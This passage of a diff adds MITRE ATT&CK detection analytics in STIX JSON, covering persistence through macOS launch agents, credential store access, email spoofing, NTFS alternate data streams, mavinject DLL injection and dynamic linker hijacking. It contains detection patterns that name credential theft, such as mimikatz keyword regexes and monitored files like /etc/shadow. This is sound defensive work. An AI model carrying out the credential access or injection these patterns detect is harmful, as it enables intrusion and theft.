"x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "mount system call with bind or remap flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:PATH", + "channel": "mount target path within /proc/*" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "linux:osquery", + "channel": "process metadata mismatch between /proc and runtime attributes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BindMountFlags", + "description": "Flags or options used in mount commands (e.g., -o bind, -B). Can vary across distributions and kernels." + }, + { + "field": "WatchedProcPaths", + "description": "List of /proc paths to monitor. Tunable to reduce noise from benign bind mounts used in containers or chroot environments." + }, + { + "field": "CorrelationWindow", + "description": "Timeframe to correlate bind mount creation with anomalous process or file activity." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c46d9fac-eac9-479e-91d3-4f5a1066972d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0429#AN1197", + "external_id": "AN1197" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1197", + "description": "Detects the modification or addition of Launch Agents or Startup Items to establish persistence. Adversaries may write plist or executable files to ~/Library/LaunchAgents/, /Library/StartupItems/, or similar directories and configure them to run at user or system boot. Detection requires correlating file creation or modification events with subsequent user logon or boot-time process execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launchservices or loginwindow events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:fsevents", + "channel": "/Library/StartupItems/, ~/Library/LaunchAgents/" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "directory_path", + "description": "Specific paths to monitor may differ across macOS versions or enterprise baselines." + }, + { + "field": "user_context", + "description": "Different users may have unique LaunchAgents folders\u2014tuning may be required." + }, + { + "field": "time_window", + "description": "The correlation time between file creation and process execution may need to be adjusted for boot persistence." + }, + { + "field": "process_name", + "description": "Specific startup binaries (e.g., bash, osascript) may vary across implementations." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--de4fe01d-96d7-4258-a1d6-6958fe50a4ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0430#AN1198", + "external_id": "AN1198" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1198", + "description": "Monitors suspicious access to password stores such as LSASS, DPAPI, Windows Credential Manager, or browser credential databases. Detects anomalous process-to-process access (e.g., Mimikatz accessing LSASS) and correlation of credential store file reads with execution of non-standard processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcesses", + "description": "List of sensitive processes to monitor (e.g., lsass.exe, svchost.exe)" + }, + { + "field": "KeywordPatterns", + "description": "Regex for suspicious command-line arguments such as 'dpapi', 'credman', 'mimikatz'" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--571b10ce-fb7d-492e-b05a-23649ae14148", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0430#AN1199", + "external_id": "AN1199" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1199", + "description": "Detects access to known password store files (e.g., /etc/shadow, GNOME Keyring, KWallet, browser credential databases). Monitors anomalous process read attempts and suspicious API calls that attempt to extract stored credentials.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open/read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredFiles", + "description": "Paths to password storage files (e.g., /etc/shadow, ~/.local/share/keyrings/)" + }, + { + "field": "SuspiciousCommands", + "description": "Process or command-line keywords that indicate password extraction attempts" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2bec56a7-957c-44b4-b730-00dd55ff99f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0430#AN1200", + "external_id": "AN1200" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1200", + "description": "Monitors Keychain database access and suspicious invocations of security and osascript utilities. Correlates process execution with attempts to dump or unlock Keychain data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "access to keychain database" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of security or osascript" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedApplications", + "description": "Whitelist of legitimate processes accessing the Keychain" + }, + { + "field": "AlertThreshold", + "description": "Number of failed access attempts before raising an alert" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2c8326bd-dd59-4715-87ef-dc3bdef919fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0430#AN1201", + "external_id": "AN1201" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1201", + "description": "Detects attempts to access or enumerate cloud password/secrets storage services such as AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager. Monitors API calls for abnormal enumeration or bulk retrieval of secrets.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "AWS:CloudTrail", + "channel": "GetSecretValue" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "AWS:CloudTrail", + "channel": "Decrypt" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Correlate cloud API calls with IAM role, user, or service account context" + }, + { + "field": "AccessThreshold", + "description": "Number of secret retrievals within a time window before flagging" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c0055eb3-5579-48a8-b9d3-df6dd67bc388", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0431#AN1202", + "external_id": "AN1202" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1202", + "description": "Monitor email message traces and headers for failed SPF, DKIM, or DMARC checks indicating spoofed sender identities. Correlate abnormal sender domains or mismatched return-paths with elevated spoofing likelihood.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:messagetrace", + "channel": "AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SpoofScoreThreshold", + "description": "Defines sensitivity to SPF/DKIM/DMARC failures; higher thresholds reduce false positives but may miss stealthier spoofing." + }, + { + "field": "MonitoredDomains", + "description": "Specifies which domains to enforce strict validation against; enterprise-specific tuning may be required." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--38300670-8c96-4f80-bc1b-d69242023a20", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0431#AN1203", + "external_id": "AN1203" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1203", + "description": "Detects spoofed emails by analyzing mail server logs (e.g., Postfix, Sendmail) for mismatched header fields, failed SPF/DKIM checks, and anomalies in SMTP proxy logs. Defender observes discrepancies between sending domain, return-path domain, and message metadata.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SenderDomainWhitelist", + "description": "Defines approved sender domains to suppress alerts for expected mismatches, reducing false positives." + }, + { + "field": "TimeWindow", + "description": "Sets correlation period for repeated spoofing attempts to flag campaigns vs. isolated misconfigurations." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0c4a2cfd-a064-4f45-9c07-eb5c1044dd61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0431#AN1204", + "external_id": "AN1204" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1204", + "description": "Detects suspicious inbound mail traffic where SPF/DKIM/DMARC authentication fails or where sender and return-path domains mismatch, observable in Apple Mail unified logs or MDM-controlled logging pipelines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RecipientSensitivity", + "description": "Allows tuning based on which users (e.g., executives, finance staff) receive stricter spoofing detection policies." + }, + { + "field": "HeaderMismatchTolerance", + "description": "Defines tolerance for minor discrepancies in domain alignment, balancing detection with usability." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e7a0e155-e0bc-45b5-b0ef-98ec4f5eea63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0431#AN1205", + "external_id": "AN1205" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1205", + "description": "Correlates Office 365 or Google Workspace audit logs for spoofed sender addresses, failed email authentication, and anomalies in message delivery metadata. Defender observes failed SPF/DKIM checks and domain mismatches tied to suspicious campaigns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:email", + "channel": "AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MessageVolumeThreshold", + "description": "Defines thresholds for spoofed messages volume before alerts trigger, reducing noise for isolated misconfigs." + }, + { + "field": "TargetedUserGroups", + "description": "Restricts higher-sensitivity detection to high-value groups (executives, admins, finance) for efficiency." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dba3fe8d-6080-4efe-9b93-6eda138ac771", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0432#AN1206", + "external_id": "AN1206" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1206", + "description": "Suspicious use of NTFS file attributes such as Alternate Data Streams (ADS) or Extended Attributes (EA) to hide data. Defender perspective: anomalous file creations or modifications containing colon syntax (file.ext:ads), API calls like ZwSetEaFile/ZwQueryEaFile, or PowerShell/Windows utilities interacting with -stream parameters. Correlation across file metadata anomalies, process lineage, and command execution provides context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-File", + "channel": "ZwSetEaFile or ZwQueryEaFile function calls" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ADSPathWhitelist", + "description": "Exclude legitimate ADS usage by system or AV tools." + }, + { + "field": "ProcessScope", + "description": "Restrict monitoring to suspicious parent processes (e.g., powershell.exe, cmd.exe, wscript.exe)." + }, + { + "field": "TimeWindow", + "description": "Correlate ADS creation with subsequent process execution to strengthen malicious context." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0fff438f-1aa9-4424-be94-a08b400adcb0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0433#AN1207", + "external_id": "AN1207" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1207", + "description": "Abuse of mavinject.exe to inject DLLs or import descriptors into another running process. Chain: (1) mavinject.exe starts with /INJECTRUNNING or /HMODULE \u2192 (2) mavinject obtains high-access handles to a target process (VM_WRITE/CREATE_THREAD) \u2192 (3) target process loads attacker DLL (module load) \u2192 (4) optional follow-on child activity or network egress from the target process.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation interval (e.g., 5\u201310 minutes) linking mavinject start \u2192 ProcessAccess \u2192 module load/network from the target process." + }, + { + "field": "DLLPathRegex", + "description": "Patterns for suspicious DLL locations (e.g., %TEMP%, Downloads, UNC shares) to reduce noise from legitimate injections." + }, + { + "field": "TargetProcessAllowList", + "description": "Common legitimate targets for App-V (if used) to suppress; flag unusual targets like browsers, LSASS, Winlogon, EDR processes." + }, + { + "field": "MinGrantedAccessSet", + "description": "Set of access rights that imply injection (VM_WRITE, VM_OPERATION, CREATE_THREAD). Tune for your EDR/sysmon formatting." + }, + { + "field": "ParentProcessFilter", + "description": "Legitimate parents starting mavinject (e.g., App-V services) vs. suspicious parents (Office, script hosts, browsers)." + }, + { + "field": "ExternalIPAllowlist", + "description": "Known enterprise update/CDN ranges to exclude when correlating post-injection network activity." + }, + { + "field": "SignedToUnsignedTransition", + "description": "Alerting when Microsoft-signed mavinject leads to loading unsigned DLLs in a target process." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--441bfb28-3fe5-410b-93a5-2280a7f19dad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0434#AN1208", + "external_id": "AN1208" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1208", + "description": "Detects creation or modification of user-level Launch Agents in monitored directories using `.plist` files with suspicious `ProgramArguments` or `RunAtLoad` keys. Correlates file write activity with execution of `launchctl` or unsigned binaries invoked at login.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "launchctl load or boot-time plist registration" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsusage", + "channel": "write or chmod to ~/Library/LaunchAgents/*.plist" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsusage", + "channel": "modification of existing LaunchAgents plist" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "macos:osquery", + "channel": "detection of new launch agents with suspicious paths or unsigned binaries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistDirectoryList", + "description": "Monitored directories (e.g., `/Library/LaunchAgents`, `~/Library/LaunchAgents`) for plist drops" + }, + { + "field": "PlistKeyMonitor", + "description": "Monitored keys such as `RunAtLoad`, `KeepAlive`, or `ProgramArguments` for policy alignment" + }, + { + "field": "ExecutablePathPattern", + "description": "Patterns used to detect execution from non-standard or suspicious locations like `/tmp`, `/var`, or `/Users/Shared`" + }, + { + "field": "UnsignedBinaryAlert", + "description": "Raise alerts if the binary referenced in the Launch Agent is unsigned or unverified" + }, + { + "field": "UserContextScope", + "description": "List of users whose LaunchAgents are considered high-sensitivity (e.g., admins)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--048adb6e-49a1-463e-bc0d-0a9a543cf0ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0435#AN1209", + "external_id": "AN1209" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1209", + "description": "Detection focuses on identifying abuse of LD_PRELOAD and related linker variables. Defender perspective: monitor unexpected setting or modification of LD_PRELOAD in shell initialization scripts or environment exports, file creation of suspicious shared libraries, and correlation of these modifications with anomalous process execution. Key signals include execve events with LD_PRELOAD defined, newly created .so files in user directories, and processes hooking libc functions exhibiting abnormal behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve with LD_PRELOAD or linker-related environment variables set" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:PATH", + "channel": "creation of .so files in non-standard directories (e.g., /tmp, /home/*)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "linux:osquery", + "channel": "process environment variables containing LD_PRELOAD" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedEnvVars", + "description": "Environment variables like LD_PRELOAD, LD_LIBRARY_PATH. Defenders can tune based on development vs. production systems." + }, + { + "field": "MonitoredDirectories", + "description": "Non-standard library paths (e.g., /tmp, user home dirs). May be tuned to reduce false positives from benign development activity." + }, + { + "field": "CorrelationWindow", + "description": "Timeframe to correlate suspicious library creation with process execution that loads it." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5907bfc2-a5d6-4ff1-bba8-8b94c9835ed6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0435#AN1210", + "external_id": "AN1210" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1210", + "description": "Detection centers on DYLD_INSERT_LIBRARIES and DYLD_LIBRARY_PATH abuse. Defender perspective: monitor for modification of these environment variables in shell or plist files, file creation of dylibs in user-controlled paths, and correlation of environment variable usage with unexpected module loads by user applications. Suspicious indicators include processes with DYLD_INSERT_LIBRARIES set, execution of applications loading untrusted dylibs, and anomalies in module load history.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of process with DYLD_INSERT_LIBRARIES set" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "create/modify dylib in monitored directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "loading of unexpected dylibs compared to historical baselines" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedEnvVars", + "description": "macOS linker variables like DYLD_INSERT_LIBRARIES. Tunable to development environments where use may be expected." + }, + { + "field": "BaselineDylibs", + "description": "Known dylibs typically loaded by apps. Deviations highlight potential hijacking." + }, + { + "field": "MonitoredDirectories", + "description": "Locations where dylibs are monitored for tampering (e.g., /Applications, /System/Library, /tmp)." + } 